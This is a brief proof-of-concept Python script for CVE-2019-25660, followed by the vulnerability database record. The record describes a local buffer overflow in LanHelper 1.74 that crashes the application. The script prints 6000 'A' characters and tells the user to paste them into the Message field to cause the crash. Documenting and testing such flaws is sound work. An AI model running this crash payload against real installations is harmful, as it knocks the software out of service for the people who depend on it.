CVE-2019-25660

# Proof of Concept (PoC) for CVE-2019-25660 # This script generates a payload to crash LanHelper 1.74 # by exploiting a buffer overflow in the 'Send Message' feature. def generate_crash_payload(): # The vulnerability is triggered by a string of approximately 6000 bytes payload_size = 6000 # Creating a pattern of 'A' characters to overflow the buffer crash_payload = "A" * payload_size return crash_payload if __name__ == "__main__": print("[+] Generating payload for CVE-2019-25660...") print("[+] Copy the text below and paste it into the 'Message' field in LanHelper.") print("-" * 30) print(generate_crash_payload()) print("-" * 30) print("[+] If successful, the application should crash.")

{"cve": {"id": "CVE-2019-25660", "sourceIdentifier": "[email protected]", "published": "2026-04-05T21:16:42.877", "lastModified": "2026-04-20T18:15:27.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LanHelper 1.74 contains a local buffer overflow vulnerability that allows attackers to crash the application by sending excessively long input strings. Attackers can exploit the Form Send Message feature by pasting 6000 bytes of data into the Message text field to trigger a denial of service condition."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hainsoft:lanhelper:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.74", "matchCriteriaId": "38A5882C-1A54-4D1C-A7C5-96C381E7D0FE"}]}]}], "references": [{"url": "http://www.hainsoft.com/", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.exploit-db.com/exploits/46295", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/lanhelper-denial-of-service-via-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}